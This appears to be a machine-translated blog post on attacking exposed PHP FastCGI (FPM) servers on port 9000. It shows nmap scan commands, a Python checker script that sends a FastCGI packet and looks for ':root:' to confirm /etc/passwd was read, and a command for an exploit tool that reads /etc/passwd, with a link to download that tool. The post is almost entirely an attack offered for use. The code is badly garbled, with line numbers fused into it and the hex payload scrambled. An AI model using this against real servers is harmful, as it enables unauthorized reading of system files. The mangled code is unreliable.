FPM for remote use

Read the Lijiejie blog, and the Dark cloud of the phpfastcgi of this article, feeling in the actual business can often encounter, so this record down:

Original: http://www.lijiejie.com/fastcgi-read-file-vulnerability-scan-py/

http://zone.wooyun.org/content/1060

PHP's fastcgi is usually called FPM. The port he listens to by default is Port 9000.

You can use Nmap to scan:

9000 --open x.x.x.x/

Check out that there is a 9000-port open Host

Then use Nmap to identify the fingerprint:

9000 173. xxx.xxx. 1/

The results are as follows:

[Email protected]:~/work/fcgi] #nmap-sv-p9000--open173. xxx.xxx.1/ -starting Nmap6.01(http://nmap.org) at 2012-09-14 20:06 EDTNMAP Scan Report forAbc.net (173. xxx.xxx.111) Host isUp (0. 0095s latency). PORT State SERVICE VERSION9000/tcp Open SSH OpenSSH5.3P1 Debian 3ubuntu7 (protocol2.0) Service Info:OS:Linux; CPE:CPE:/o:linux:kernel Nmap Scan Report forABC.com (173. xxx.xxx.183) Host isUp (0. 0096s latency). PORT State SERVICE VERSION9000/TCP open tcpwrapped Service detection performed. Incorrect results at http://nmap.org/submit/.Nmap Done: theIP Addresses (198Hosts up) scannedinch 7.70Seconds

If it is for the intranet, you can write the py with Lijiejie:

1 ImportSocket2 ImportSYS3 4 deftest_fastcgi (IP):5Sock = Socket.socket (socket.af_inet, socket. SOCK_STREAM); Sock.settimeout (5.0)6Sock.connect ((IP, 9000))7data ="""8  The above-XX (xx) xx xx9 8f (0e )----Ten 5f 4d, 4f, 0f , and One 5f, 4f, 4f, 4f 4c A 2f 2e 0d, 4f, 4d, 4e, 5f - 4f 4f 2f 0b ----4d 4f, 5f - 2e (2e) 2e to 0f 0b the 5f, 4c, 4e, 4d, 2f , and 2f - All-in- ten, 0f, 5f - 4f -Si-si (6f) - 6c (6e )----XX +     """ -data_s ="' +      for_inchdata.split (): Adata_s + = chr (int (_,16)) at sock.send (data_s) -     Try: -RET = SOCK.RECV (1024) -         ifRet.find (': Root:') >0: -             Printret -             Print '%s is vulnerable!'%IP in             returnTrue -         Else: to             returnFalse +     exceptException, E: -         Pass the              * sock.close () $ Panax Notoginseng  - if __name__=='__main__': the     ifLen (sys.argv) = = 1: +         PrintSys.argv[0],'[IP]' A     Else: theTEST_FASTCGI (Sys.argv[1])

Then you can use:

Fcgi_exp.exe Read XXX.XXX.XXX.XXX 9000/etc/passwd

Exp:http://www.lijiejie.com/wp-content/uploads/2015/06/fcgi_exp.zip

FPM for remote use